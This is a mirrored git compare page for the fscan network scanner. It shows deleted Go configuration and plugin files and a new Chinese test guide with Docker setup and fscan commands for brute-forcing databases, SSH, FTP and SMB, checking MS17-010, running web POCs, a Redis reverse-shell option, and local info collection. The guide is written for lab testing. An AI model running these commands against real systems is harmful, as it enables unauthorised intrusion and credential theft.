mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 05:56:46 +08:00
Compare commits
19 Commits
888a3d8d34
...
0cc843dc97
Author | SHA1 | Date | |
---|---|---|---|
![]() |
0cc843dc97 | ||
![]() |
c8418196be | ||
![]() |
ed117a14fd | ||
![]() |
8606af2f32 | ||
![]() |
f27daaa5a0 | ||
![]() |
94ead622e2 | ||
![]() |
85a9c5e163 | ||
![]() |
206a938d8c | ||
![]() |
b8fd8ec45d | ||
![]() |
3be29626c2 | ||
![]() |
72b44429ba | ||
![]() |
d73456dac0 | ||
![]() |
46cfa2a64d | ||
![]() |
9ad397f58f | ||
![]() |
57aa48be58 | ||
![]() |
c5eb2cef86 | ||
![]() |
a3177b28a6 | ||
![]() |
a10153911e | ||
![]() |
c2b63a57e2 |
4
.gitignore
vendored
4
.gitignore
vendored
@ -75,3 +75,7 @@ Todo列表.md
|
|||||||
cleanup.bat
|
cleanup.bat
|
||||||
cleanup.sh
|
cleanup.sh
|
||||||
cleanup_script_*
|
cleanup_script_*
|
||||||
|
|
||||||
|
# Compilation objects / 编译对象文件
|
||||||
|
*.o
|
||||||
|
*.a
|
||||||
|
@ -1,19 +0,0 @@
|
|||||||
package common
|
|
||||||
|
|
||||||
import "github.com/shadow1ng/fscan/common/base"
|
|
||||||
|
|
||||||
/*
|
|
||||||
Ports.go - 端口常量(向后兼容层)
|
|
||||||
|
|
||||||
此文件保持向后兼容,实际常量定义已迁移到Core/Constants.go
|
|
||||||
*/
|
|
||||||
|
|
||||||
// 向后兼容的端口常量 - 引用base包中的定义
|
|
||||||
var (
|
|
||||||
WebPorts = base.WebPorts // Web服务端口组
|
|
||||||
MainPorts = base.MainPorts // 主要服务端口组
|
|
||||||
DbPorts = base.DbPorts // 数据库端口组
|
|
||||||
ServicePorts = base.ServicePorts // 服务端口组
|
|
||||||
CommonPorts = base.CommonPorts // 常用端口组
|
|
||||||
AllPorts = base.AllPorts // 全部端口
|
|
||||||
)
|
|
@ -1,85 +0,0 @@
|
|||||||
package base
|
|
||||||
|
|
||||||
import (
|
|
||||||
"sync"
|
|
||||||
|
|
||||||
"github.com/shadow1ng/fscan/common/config"
|
|
||||||
)
|
|
||||||
|
|
||||||
// =============================================================================
|
|
||||||
// 全局配置变量
|
|
||||||
// =============================================================================
|
|
||||||
|
|
||||||
var (
|
|
||||||
// 核心扫描配置
|
|
||||||
ScanMode string // 扫描模式
|
|
||||||
ThreadNum int // 线程数
|
|
||||||
Timeout int64 // 超时时间
|
|
||||||
DisablePing bool // 禁用ping
|
|
||||||
LocalMode bool // 本地模式
|
|
||||||
LocalPlugin string // 本地插件选择
|
|
||||||
|
|
||||||
// 基础认证配置
|
|
||||||
Username string // 用户名
|
|
||||||
Password string // 密码
|
|
||||||
Userdict map[string][]string // 用户字典
|
|
||||||
Passwords []string // 密码列表
|
|
||||||
|
|
||||||
// 网络配置
|
|
||||||
HttpProxy string // HTTP代理
|
|
||||||
Socks5Proxy string // SOCKS5代理
|
|
||||||
|
|
||||||
// 显示控制
|
|
||||||
NoColor bool // 禁用颜色
|
|
||||||
Language string // 语言
|
|
||||||
LogLevel string // 日志级别
|
|
||||||
|
|
||||||
// 端口映射
|
|
||||||
PortMap map[int][]string // 端口映射
|
|
||||||
DefaultMap []string // 默认映射
|
|
||||||
|
|
||||||
// 初始化锁
|
|
||||||
initOnce sync.Once
|
|
||||||
)
|
|
||||||
|
|
||||||
// =============================================================================
|
|
||||||
// 简化的初始化函数
|
|
||||||
// =============================================================================
|
|
||||||
|
|
||||||
// InitGlobalConfig 初始化全局配置
|
|
||||||
func InitGlobalConfig() {
|
|
||||||
initOnce.Do(func() {
|
|
||||||
// 设置默认值
|
|
||||||
ScanMode = DefaultScanMode
|
|
||||||
ThreadNum = DefaultThreadNum
|
|
||||||
Timeout = DefaultTimeout
|
|
||||||
LogLevel = DefaultLogLevel
|
|
||||||
Language = DefaultLanguage
|
|
||||||
|
|
||||||
// 初始化映射和切片
|
|
||||||
Userdict = make(map[string][]string)
|
|
||||||
PortMap = make(map[int][]string)
|
|
||||||
DefaultMap = make([]string, 0)
|
|
||||||
|
|
||||||
// 从config模块获取字典和映射
|
|
||||||
if serviceDict := config.GetGlobalServiceDict(); serviceDict != nil {
|
|
||||||
Userdict = serviceDict.GetAllUserDicts()
|
|
||||||
Passwords = serviceDict.GetPasswords()
|
|
||||||
}
|
|
||||||
|
|
||||||
if probeMapping := config.GetGlobalProbeMapping(); probeMapping != nil {
|
|
||||||
PortMap = probeMapping.GetAllPortMappings()
|
|
||||||
DefaultMap = probeMapping.GetDefaultProbes()
|
|
||||||
}
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
// =============================================================================
|
|
||||||
// 访问器函数已移除(未使用的死代码)
|
|
||||||
// 直接使用全局变量进行访问
|
|
||||||
// =============================================================================
|
|
||||||
|
|
||||||
// init 自动初始化
|
|
||||||
func init() {
|
|
||||||
InitGlobalConfig()
|
|
||||||
}
|
|
@ -1,149 +0,0 @@
|
|||||||
package base
|
|
||||||
|
|
||||||
import (
|
|
||||||
"sync"
|
|
||||||
)
|
|
||||||
|
|
||||||
/*
|
|
||||||
Plugin.go - 插件系统管理
|
|
||||||
|
|
||||||
整合Types.go中的插件系统,提供统一的插件注册和管理机制。
|
|
||||||
*/
|
|
||||||
|
|
||||||
// =============================================================================
|
|
||||||
// 核心数据结构 (从Types.go迁移)
|
|
||||||
// =============================================================================
|
|
||||||
|
|
||||||
// HostInfo 主机信息结构
|
|
||||||
type HostInfo struct {
|
|
||||||
Host string // 主机地址
|
|
||||||
Ports string // 端口范围
|
|
||||||
Url string // URL地址
|
|
||||||
Infostr []string // 附加信息
|
|
||||||
}
|
|
||||||
|
|
||||||
// =============================================================================
|
|
||||||
// 插件类型常量
|
|
||||||
// =============================================================================
|
|
||||||
|
|
||||||
const (
|
|
||||||
PluginTypeService = "service" // 服务类型插件
|
|
||||||
PluginTypeWeb = "web" // Web类型插件
|
|
||||||
PluginTypeLocal = "local" // 本地类型插件
|
|
||||||
PluginTypeBrute = "brute" // 暴力破解插件
|
|
||||||
PluginTypePoc = "poc" // POC验证插件
|
|
||||||
PluginTypeScan = "scan" // 扫描探测插件
|
|
||||||
)
|
|
||||||
|
|
||||||
// =============================================================================
|
|
||||||
// 插件定义和管理
|
|
||||||
// =============================================================================
|
|
||||||
|
|
||||||
// ScanPlugin 定义扫描插件的结构
|
|
||||||
type ScanPlugin struct {
|
|
||||||
Name string // 插件名称
|
|
||||||
Version string // 插件版本
|
|
||||||
Description string // 插件描述
|
|
||||||
Author string // 插件作者
|
|
||||||
Ports []int // 适用端口
|
|
||||||
Types []string // 插件类型标签,一个插件可以有多个类型
|
|
||||||
Priority int // 插件优先级(数字越小优先级越高)
|
|
||||||
Enabled bool // 是否启用
|
|
||||||
ScanFunc func(*HostInfo) error // 扫描函数
|
|
||||||
}
|
|
||||||
|
|
||||||
// PluginManager 插件管理器
|
|
||||||
type PluginManager struct {
|
|
||||||
mu sync.RWMutex
|
|
||||||
plugins map[string]*ScanPlugin
|
|
||||||
types map[string][]*ScanPlugin // 按类型索引的插件
|
|
||||||
ports map[int][]*ScanPlugin // 按端口索引的插件
|
|
||||||
}
|
|
||||||
|
|
||||||
// 全局插件管理器实例
|
|
||||||
var globalPluginManager = NewPluginManager()
|
|
||||||
|
|
||||||
// NewPluginManager 创建新的插件管理器
|
|
||||||
func NewPluginManager() *PluginManager {
|
|
||||||
return &PluginManager{
|
|
||||||
plugins: make(map[string]*ScanPlugin),
|
|
||||||
types: make(map[string][]*ScanPlugin),
|
|
||||||
ports: make(map[int][]*ScanPlugin),
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// =============================================================================
|
|
||||||
// 插件基础方法
|
|
||||||
// =============================================================================
|
|
||||||
|
|
||||||
// HasType 检查插件是否具有指定类型
|
|
||||||
func (p *ScanPlugin) HasType(typeName string) bool {
|
|
||||||
for _, t := range p.Types {
|
|
||||||
if t == typeName {
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
|
|
||||||
// HasPort 检查插件是否支持指定端口
|
|
||||||
func (p *ScanPlugin) HasPort(port int) bool {
|
|
||||||
// 如果没有指定端口列表,表示支持所有端口
|
|
||||||
if len(p.Ports) == 0 {
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查端口是否在支持列表中
|
|
||||||
for _, supportedPort := range p.Ports {
|
|
||||||
if port == supportedPort {
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
|
|
||||||
// IsEnabled 检查插件是否启用
|
|
||||||
func (p *ScanPlugin) IsEnabled() bool {
|
|
||||||
return p.Enabled
|
|
||||||
}
|
|
||||||
|
|
||||||
// GetInfo 获取插件基本信息
|
|
||||||
func (p *ScanPlugin) GetInfo() map[string]interface{} {
|
|
||||||
return map[string]interface{}{
|
|
||||||
"name": p.Name,
|
|
||||||
"version": p.Version,
|
|
||||||
"description": p.Description,
|
|
||||||
"author": p.Author,
|
|
||||||
"types": p.Types,
|
|
||||||
"ports": p.Ports,
|
|
||||||
"priority": p.Priority,
|
|
||||||
"enabled": p.Enabled,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// =============================================================================
|
|
||||||
// 插件管理器方法
|
|
||||||
// =============================================================================
|
|
||||||
|
|
||||||
// 已移除未使用的 RegisterPlugin 方法
|
|
||||||
|
|
||||||
// ========================================================================================
|
|
||||||
// 未使用的插件管理器方法已删除(死代码清理)
|
|
||||||
// 包括:GetPlugin, GetPluginsByType, GetPluginsByPort, GetAllPlugins,
|
|
||||||
// EnablePlugin, DisablePlugin, UnregisterPlugin, GetPluginCount, GetEnabledPluginCount
|
|
||||||
// ========================================================================================
|
|
||||||
|
|
||||||
// =============================================================================
|
|
||||||
// 全局插件管理函数 (保持向后兼容)
|
|
||||||
// =============================================================================
|
|
||||||
|
|
||||||
// 已移除未使用的 RegisterPlugin 方法
|
|
||||||
|
|
||||||
// 已移除未使用的 Clear 方法
|
|
||||||
|
|
||||||
// 已移除未使用的 ClearPluginsByType 方法
|
|
||||||
|
|
||||||
// GetGlobalPluginManager 方法已删除(死代码清理)
|
|
||||||
|
|
||||||
// 向后兼容的全局变量 (已废弃,建议使用PluginManager)
|
|
||||||
var LegacyPluginManager = make(map[string]ScanPlugin)
|
|
@ -1,196 +0,0 @@
|
|||||||
package common
|
|
||||||
|
|
||||||
import (
|
|
||||||
"sync"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"github.com/schollz/progressbar/v3"
|
|
||||||
"github.com/shadow1ng/fscan/common/base"
|
|
||||||
"github.com/shadow1ng/fscan/common/logging"
|
|
||||||
)
|
|
||||||
|
|
||||||
/*
|
|
||||||
globals.go - 全局变量定义
|
|
||||||
|
|
||||||
使用线程安全的配置管理,消除双向同步机制,直接使用core包作为唯一数据源。
|
|
||||||
保持向后兼容的同时提供并发安全的访问。
|
|
||||||
*/
|
|
||||||
|
|
||||||
// =============================================================================
|
|
||||||
// 版本信息
|
|
||||||
// =============================================================================
|
|
||||||
|
|
||||||
var version = "2.2.1"
|
|
||||||
|
|
||||||
// =============================================================================
|
|
||||||
// 简化的全局状态管理(仅保留必要的同步机制)
|
|
||||||
// =============================================================================
|
|
||||||
|
|
||||||
// globalState已简化,因为大部分管理函数未被使用
|
|
||||||
// 保留基本的时间记录用于向后兼容
|
|
||||||
var startTimeInit = time.Now()
|
|
||||||
|
|
||||||
// =============================================================================
|
|
||||||
// 核心扫描配置 - 直接使用core包变量(单一数据源)
|
|
||||||
// =============================================================================
|
|
||||||
|
|
||||||
var (
|
|
||||||
ScanMode string // 直接映射到base.ScanMode
|
|
||||||
ThreadNum int // 直接映射到base.ThreadNum
|
|
||||||
Timeout int64 // 直接映射到base.Timeout
|
|
||||||
DisablePing bool // 直接映射到base.DisablePing
|
|
||||||
LocalMode bool // 直接映射到base.LocalMode
|
|
||||||
LocalPlugin string // 本地插件选择
|
|
||||||
AliveOnly bool // 仅存活探测模式
|
|
||||||
)
|
|
||||||
|
|
||||||
// =============================================================================
|
|
||||||
// 基础认证配置 - 直接使用core包变量
|
|
||||||
// =============================================================================
|
|
||||||
|
|
||||||
var (
|
|
||||||
Username string // 直接映射到base.Username
|
|
||||||
Password string // 直接映射到base.Password
|
|
||||||
Userdict map[string][]string // 直接映射到base.Userdict
|
|
||||||
Passwords []string // 直接映射到base.Passwords
|
|
||||||
)
|
|
||||||
|
|
||||||
// =============================================================================
|
|
||||||
// 网络配置 - 直接使用core包变量
|
|
||||||
// =============================================================================
|
|
||||||
|
|
||||||
var (
|
|
||||||
HttpProxy string // 直接映射到base.HttpProxy
|
|
||||||
Socks5Proxy string // 直接映射到base.Socks5Proxy
|
|
||||||
)
|
|
||||||
|
|
||||||
// =============================================================================
|
|
||||||
// 显示控制 - 直接使用core包变量
|
|
||||||
// =============================================================================
|
|
||||||
|
|
||||||
var (
|
|
||||||
NoColor bool // 直接映射到base.NoColor
|
|
||||||
Language string // 直接映射到base.Language
|
|
||||||
LogLevel string // 直接映射到base.LogLevel
|
|
||||||
|
|
||||||
// 进度条控制
|
|
||||||
ShowProgress bool // 计算得出:!DisableProgress
|
|
||||||
)
|
|
||||||
|
|
||||||
// =============================================================================
|
|
||||||
// 端口映射 - 直接使用core包变量
|
|
||||||
// =============================================================================
|
|
||||||
|
|
||||||
var (
|
|
||||||
PortMap map[int][]string // 直接映射到base.PortMap
|
|
||||||
DefaultMap []string // 直接映射到base.DefaultMap
|
|
||||||
)
|
|
||||||
|
|
||||||
// =============================================================================
|
|
||||||
// 线程安全的输出状态管理(已移除未使用的函数)
|
|
||||||
// =============================================================================
|
|
||||||
|
|
||||||
// 注意:GetOutputfile, SetOutputfile, GetOutputFormat, SetOutputFormat,
|
|
||||||
// GetProgressBar, SetProgressBar, GetStats, SetStats, IncrementNum等函数
|
|
||||||
// 已根据死代码分析移除,因为它们在代码库中没有被使用。
|
|
||||||
// 如有需要,可以通过直接访问向后兼容的全局变量实现相同功能。
|
|
||||||
|
|
||||||
// =============================================================================
|
|
||||||
// 核心配置同步(线程安全)
|
|
||||||
// =============================================================================
|
|
||||||
|
|
||||||
// SyncFromCore 从core包同步配置到common包(读操作)
|
|
||||||
func SyncFromCore() {
|
|
||||||
ScanMode = base.ScanMode
|
|
||||||
ThreadNum = base.ThreadNum
|
|
||||||
Timeout = base.Timeout
|
|
||||||
DisablePing = base.DisablePing
|
|
||||||
LocalMode = base.LocalMode
|
|
||||||
LocalPlugin = base.LocalPlugin
|
|
||||||
|
|
||||||
Username = base.Username
|
|
||||||
Password = base.Password
|
|
||||||
Userdict = base.Userdict
|
|
||||||
Passwords = base.Passwords
|
|
||||||
|
|
||||||
HttpProxy = base.HttpProxy
|
|
||||||
Socks5Proxy = base.Socks5Proxy
|
|
||||||
|
|
||||||
NoColor = base.NoColor
|
|
||||||
Language = base.Language
|
|
||||||
LogLevel = base.LogLevel
|
|
||||||
|
|
||||||
PortMap = base.PortMap
|
|
||||||
DefaultMap = base.DefaultMap
|
|
||||||
}
|
|
||||||
|
|
||||||
// SyncToCore 同步common包配置到core包(写操作)
|
|
||||||
func SyncToCore() {
|
|
||||||
base.ScanMode = ScanMode
|
|
||||||
base.ThreadNum = ThreadNum
|
|
||||||
base.Timeout = Timeout
|
|
||||||
base.DisablePing = DisablePing
|
|
||||||
base.LocalMode = LocalMode
|
|
||||||
base.LocalPlugin = LocalPlugin
|
|
||||||
|
|
||||||
base.Username = Username
|
|
||||||
base.Password = Password
|
|
||||||
base.Userdict = Userdict
|
|
||||||
base.Passwords = Passwords
|
|
||||||
|
|
||||||
base.HttpProxy = HttpProxy
|
|
||||||
base.Socks5Proxy = Socks5Proxy
|
|
||||||
|
|
||||||
base.NoColor = NoColor
|
|
||||||
base.Language = Language
|
|
||||||
base.LogLevel = LogLevel
|
|
||||||
|
|
||||||
base.PortMap = PortMap
|
|
||||||
base.DefaultMap = DefaultMap
|
|
||||||
}
|
|
||||||
|
|
||||||
// =============================================================================
|
|
||||||
// 向后兼容的全局变量
|
|
||||||
// =============================================================================
|
|
||||||
|
|
||||||
var (
|
|
||||||
// 输出配置(向后兼容)
|
|
||||||
Outputfile string
|
|
||||||
OutputFormat string
|
|
||||||
ProgressBar *progressbar.ProgressBar
|
|
||||||
OutputMutex sync.Mutex
|
|
||||||
|
|
||||||
// 统计信息(向后兼容)
|
|
||||||
Num, End int64
|
|
||||||
StartTime = time.Now()
|
|
||||||
)
|
|
||||||
|
|
||||||
// =============================================================================
|
|
||||||
// 日志级别常量
|
|
||||||
// =============================================================================
|
|
||||||
|
|
||||||
const (
|
|
||||||
LogLevelAll = string(logging.LevelAll)
|
|
||||||
LogLevelError = string(logging.LevelError)
|
|
||||||
LogLevelBase = string(logging.LevelBase)
|
|
||||||
LogLevelInfo = string(logging.LevelInfo)
|
|
||||||
LogLevelSuccess = string(logging.LevelSuccess)
|
|
||||||
LogLevelDebug = string(logging.LevelDebug)
|
|
||||||
LogLevelInfoSuccess = string(logging.LevelInfoSuccess)
|
|
||||||
LogLevelBaseInfoSuccess = string(logging.LevelBaseInfoSuccess)
|
|
||||||
)
|
|
||||||
|
|
||||||
// =============================================================================
|
|
||||||
// 初始化
|
|
||||||
// =============================================================================
|
|
||||||
|
|
||||||
func init() {
|
|
||||||
// 初始化core包配置
|
|
||||||
base.InitGlobalConfig()
|
|
||||||
|
|
||||||
// 从core包同步初始配置
|
|
||||||
SyncFromCore()
|
|
||||||
|
|
||||||
// 初始化向后兼容的时间变量
|
|
||||||
StartTime = startTimeInit
|
|
||||||
}
|
|
677
PLUGIN_TESTING.md
Normal file
677
PLUGIN_TESTING.md
Normal file
@ -0,0 +1,677 @@
|
|||||||
|
# Fscan 插件饱和性测试文档
|
||||||
|
|
||||||
|
## 概述
|
||||||
|
|
||||||
|
本文档用于全面测试Fscan v2.2.1的所有插件模块,确保每个组件都能正常工作。测试分为三大类:**服务插件**、**Web插件**和**本地插件**。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 测试环境要求
|
||||||
|
|
||||||
|
### 基础环境
|
||||||
|
- Linux/Windows测试环境
|
||||||
|
- Docker容器(用于快速部署测试服务)
|
||||||
|
- 网络连接(用于外部服务测试)
|
||||||
|
- 管理员权限(用于本地插件测试)
|
||||||
|
|
||||||
|
### 测试目标服务器
|
||||||
|
建议使用Docker快速部署以下服务:
|
||||||
|
```bash
|
||||||
|
# MySQL
|
||||||
|
docker run -d -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:5.7
|
||||||
|
|
||||||
|
# Redis
|
||||||
|
docker run -d -p 6379:6379 redis:alpine
|
||||||
|
|
||||||
|
# MongoDB
|
||||||
|
docker run -d -p 27017:27017 mongo:4.4
|
||||||
|
|
||||||
|
# PostgreSQL
|
||||||
|
docker run -d -p 5432:5432 -e POSTGRES_PASSWORD=postgres postgres:13
|
||||||
|
|
||||||
|
# SSH服务
|
||||||
|
docker run -d -p 2222:22 -e SSH_ENABLE_PASSWORD_AUTH=true linuxserver/openssh-server
|
||||||
|
|
||||||
|
# FTP服务
|
||||||
|
docker run -d -p 21:21 -p 30000-30009:30000-30009 -e FTP_USER=test -e FTP_PASS=test fauria/vsftpd
|
||||||
|
|
||||||
|
# SMB/CIFS
|
||||||
|
docker run -d -p 139:139 -p 445:445 dperson/samba -u "test;test" -s "share;/tmp;yes;no;yes"
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. 服务插件测试 (Services Plugins)
|
||||||
|
|
||||||
|
### 1.1 数据库服务测试
|
||||||
|
|
||||||
|
#### MySQL插件测试
|
||||||
|
```bash
|
||||||
|
# 基础连接测试
|
||||||
|
./fscan -h 127.0.0.1:3306 -m mysql
|
||||||
|
|
||||||
|
# 暴力破解测试
|
||||||
|
./fscan -h 127.0.0.1:3306 -user root -pwd "123456,admin,mysql"
|
||||||
|
|
||||||
|
# 自定义字典测试
|
||||||
|
echo "root" > users.txt
|
||||||
|
echo -e "123456\nadmin\nmysql" > passwords.txt
|
||||||
|
./fscan -h 127.0.0.1:3306 -userf users.txt -pwdf passwords.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
**验证标准:**
|
||||||
|
- [ ] 能正确识别MySQL服务
|
||||||
|
- [ ] 能进行版本探测
|
||||||
|
- [ ] 能执行暴力破解攻击
|
||||||
|
- [ ] 成功时显示版本信息和权限
|
||||||
|
|
||||||
|
#### PostgreSQL插件测试
|
||||||
|
```bash
|
||||||
|
# 基础测试
|
||||||
|
./fscan -h 127.0.0.1:5432 -m postgresql
|
||||||
|
|
||||||
|
# 暴力破解
|
||||||
|
./fscan -h 127.0.0.1:5432 -user postgres -pwd "postgres,admin,123456"
|
||||||
|
```
|
||||||
|
|
||||||
|
**验证标准:**
|
||||||
|
- [ ] 正确识别PostgreSQL服务
|
||||||
|
- [ ] 显示版本信息
|
||||||
|
- [ ] 暴力破解功能正常
|
||||||
|
|
||||||
|
#### MongoDB插件测试
|
||||||
|
```bash
|
||||||
|
# 无认证连接测试
|
||||||
|
./fscan -h 127.0.0.1:27017 -m mongodb
|
||||||
|
|
||||||
|
# 认证连接测试(如果有密码)
|
||||||
|
./fscan -h 127.0.0.1:27017 -user admin -pwd "admin,mongodb,123456"
|
||||||
|
```
|
||||||
|
|
||||||
|
**验证标准:**
|
||||||
|
- [ ] 检测MongoDB服务
|
||||||
|
- [ ] 识别未授权访问
|
||||||
|
- [ ] 显示数据库列表(如果有权限)
|
||||||
|
|
||||||
|
#### MSSQL插件测试
|
||||||
|
```bash
|
||||||
|
# SQL Server测试(需要MSSQL容器)
|
||||||
|
./fscan -h target:1433 -m mssql -user sa -pwd "Password123,admin,sa"
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Redis插件测试
|
||||||
|
```bash
|
||||||
|
# 基础连接测试
|
||||||
|
./fscan -h 127.0.0.1:6379 -m redis
|
||||||
|
|
||||||
|
# 未授权访问测试
|
||||||
|
./fscan -h 127.0.0.1:6379
|
||||||
|
|
||||||
|
# 写入测试(危险操作,仅测试环境)
|
||||||
|
./fscan -h 127.0.0.1:6379 -rs reverse_shell_command
|
||||||
|
```
|
||||||
|
|
||||||
|
**验证标准:**
|
||||||
|
- [ ] 检测Redis服务
|
||||||
|
- [ ] 识别未授权访问
|
||||||
|
- [ ] 能执行info命令
|
||||||
|
- [ ] 支持写入操作(如果有权限)
|
||||||
|
|
||||||
|
#### Oracle插件测试
|
||||||
|
```bash
|
||||||
|
# Oracle测试(需要Oracle容器)
|
||||||
|
./fscan -h target:1521 -m oracle -user system -pwd "oracle,admin,123456"
|
||||||
|
```
|
||||||
|
|
||||||
|
### 1.2 网络服务测试
|
||||||
|
|
||||||
|
#### SSH插件测试
|
||||||
|
```bash
|
||||||
|
# SSH暴力破解测试
|
||||||
|
./fscan -h 127.0.0.1:22 -m ssh -user "root,admin,ubuntu" -pwd "123456,admin,root"
|
||||||
|
|
||||||
|
# SSH密钥测试
|
||||||
|
./fscan -h 127.0.0.1:22 -sshkey /path/to/private_key
|
||||||
|
```
|
||||||
|
|
||||||
|
**验证标准:**
|
||||||
|
- [ ] 正确识别SSH服务
|
||||||
|
- [ ] 显示SSH版本和算法
|
||||||
|
- [ ] 暴力破解功能正常
|
||||||
|
- [ ] 支持密钥认证
|
||||||
|
|
||||||
|
#### FTP插件测试
|
||||||
|
```bash
|
||||||
|
# FTP连接测试
|
||||||
|
./fscan -h 127.0.0.1:21 -m ftp
|
||||||
|
|
||||||
|
# FTP暴力破解
|
||||||
|
./fscan -h 127.0.0.1:21 -user "ftp,anonymous,admin" -pwd "ftp,123456,admin"
|
||||||
|
```
|
||||||
|
|
||||||
|
**验证标准:**
|
||||||
|
- [ ] 检测FTP服务
|
||||||
|
- [ ] 支持匿名登录检测
|
||||||
|
- [ ] 暴力破解功能正常
|
||||||
|
- [ ] 显示FTP banner信息
|
||||||
|
|
||||||
|
#### Telnet插件测试
|
||||||
|
```bash
|
||||||
|
# Telnet测试
|
||||||
|
./fscan -h target:23 -m telnet -user "admin,root" -pwd "admin,123456"
|
||||||
|
```
|
||||||
|
|
||||||
|
#### SMB插件测试
|
||||||
|
```bash
|
||||||
|
# SMB服务探测
|
||||||
|
./fscan -h 127.0.0.1:445 -m smb
|
||||||
|
|
||||||
|
# SMB共享枚举
|
||||||
|
./fscan -h 127.0.0.1:445 -user guest -pwd ""
|
||||||
|
|
||||||
|
# MS17-010漏洞检测
|
||||||
|
./fscan -h target:445 -m ms17010
|
||||||
|
```
|
||||||
|
|
||||||
|
**验证标准:**
|
||||||
|
- [ ] 检测SMB服务版本
|
||||||
|
- [ ] 枚举共享目录
|
||||||
|
- [ ] 检测已知漏洞
|
||||||
|
- [ ] 显示操作系统信息
|
||||||
|
|
||||||
|
#### SMTP插件测试
|
||||||
|
```bash
|
||||||
|
# SMTP测试
|
||||||
|
./fscan -h target:25 -m smtp
|
||||||
|
./fscan -h target:587 -m smtp
|
||||||
|
```
|
||||||
|
|
||||||
|
#### LDAP插件测试
|
||||||
|
```bash
|
||||||
|
# LDAP连接测试
|
||||||
|
./fscan -h target:389 -m ldap
|
||||||
|
./fscan -h target:636 -m ldap # LDAPS
|
||||||
|
```
|
||||||
|
|
||||||
|
### 1.3 专用服务测试
|
||||||
|
|
||||||
|
#### Elasticsearch插件测试
|
||||||
|
```bash
|
||||||
|
# Elasticsearch测试
|
||||||
|
./fscan -h 127.0.0.1:9200 -m elasticsearch
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Kafka插件测试
|
||||||
|
```bash
|
||||||
|
# Kafka测试
|
||||||
|
./fscan -h target:9092 -m kafka
|
||||||
|
```
|
||||||
|
|
||||||
|
#### RabbitMQ插件测试
|
||||||
|
```bash
|
||||||
|
# RabbitMQ管理接口测试
|
||||||
|
./fscan -h target:15672 -m rabbitmq
|
||||||
|
./fscan -h target:5672 -m rabbitmq
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Memcached插件测试
|
||||||
|
```bash
|
||||||
|
# Memcached测试
|
||||||
|
./fscan -h target:11211 -m memcached
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Neo4j插件测试
|
||||||
|
```bash
|
||||||
|
# Neo4j测试
|
||||||
|
./fscan -h target:7474 -m neo4j
|
||||||
|
./fscan -h target:7687 -m neo4j
|
||||||
|
```
|
||||||
|
|
||||||
|
#### VNC插件测试
|
||||||
|
```bash
|
||||||
|
# VNC测试
|
||||||
|
./fscan -h target:5900 -m vnc
|
||||||
|
```
|
||||||
|
|
||||||
|
#### RDP插件测试
|
||||||
|
```bash
|
||||||
|
# RDP连接测试
|
||||||
|
./fscan -h target:3389 -m rdp
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. Web插件测试 (Web Plugins)
|
||||||
|
|
||||||
|
### 2.1 Web标题获取测试
|
||||||
|
```bash
|
||||||
|
# HTTP标题获取
|
||||||
|
./fscan -u "http://www.example.com"
|
||||||
|
./fscan -u "https://www.example.com"
|
||||||
|
|
||||||
|
# 批量URL测试
|
||||||
|
echo -e "http://www.example.com\nhttps://www.github.com" > urls.txt
|
||||||
|
./fscan -uf urls.txt
|
||||||
|
|
||||||
|
# 端口扫描+Web检测
|
||||||
|
./fscan -h 127.0.0.1 -p 80,443,8080,8443
|
||||||
|
```
|
||||||
|
|
||||||
|
**验证标准:**
|
||||||
|
- [ ] 正确获取网页标题
|
||||||
|
- [ ] 显示HTTP状态码
|
||||||
|
- [ ] 识别Web服务器信息
|
||||||
|
- [ ] 显示响应长度
|
||||||
|
- [ ] 支持HTTPS检测
|
||||||
|
|
||||||
|
### 2.2 Web POC扫描测试
|
||||||
|
```bash
|
||||||
|
# 启用POC扫描
|
||||||
|
./fscan -u "http://target" -full
|
||||||
|
|
||||||
|
# 指定POC名称
|
||||||
|
./fscan -u "http://target" -pocname "spring,struts"
|
||||||
|
|
||||||
|
# 自定义POC路径
|
||||||
|
./fscan -u "http://target" -pocpath /path/to/pocs/
|
||||||
|
|
||||||
|
# 禁用POC(对照测试)
|
||||||
|
./fscan -u "http://target" -nopoc
|
||||||
|
```
|
||||||
|
|
||||||
|
**验证标准:**
|
||||||
|
- [ ] 能加载POC规则
|
||||||
|
- [ ] 正确识别已知漏洞
|
||||||
|
- [ ] 显示漏洞详细信息
|
||||||
|
- [ ] POC并发控制正常
|
||||||
|
|
||||||
|
### 2.3 指纹识别测试
|
||||||
|
```bash
|
||||||
|
# 启用指纹识别
|
||||||
|
./fscan -u "http://target" -fp
|
||||||
|
|
||||||
|
# 指纹+POC组合
|
||||||
|
./fscan -u "http://target" -fp -full
|
||||||
|
```
|
||||||
|
|
||||||
|
**验证标准:**
|
||||||
|
- [ ] 识别Web应用类型
|
||||||
|
- [ ] 识别中间件信息
|
||||||
|
- [ ] 识别CMS类型
|
||||||
|
- [ ] 识别技术栈
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. 本地插件测试 (Local Plugins)
|
||||||
|
|
||||||
|
> **警告:本地插件测试具有潜在风险,仅在测试环境中执行**
|
||||||
|
|
||||||
|
### 3.1 系统信息收集
|
||||||
|
```bash
|
||||||
|
# 系统信息收集
|
||||||
|
./fscan -local systeminfo
|
||||||
|
|
||||||
|
# 环境变量信息
|
||||||
|
./fscan -local envinfo
|
||||||
|
|
||||||
|
# 文件信息收集
|
||||||
|
./fscan -local fileinfo
|
||||||
|
|
||||||
|
# 域控信息收集
|
||||||
|
./fscan -local dcinfo
|
||||||
|
```
|
||||||
|
|
||||||
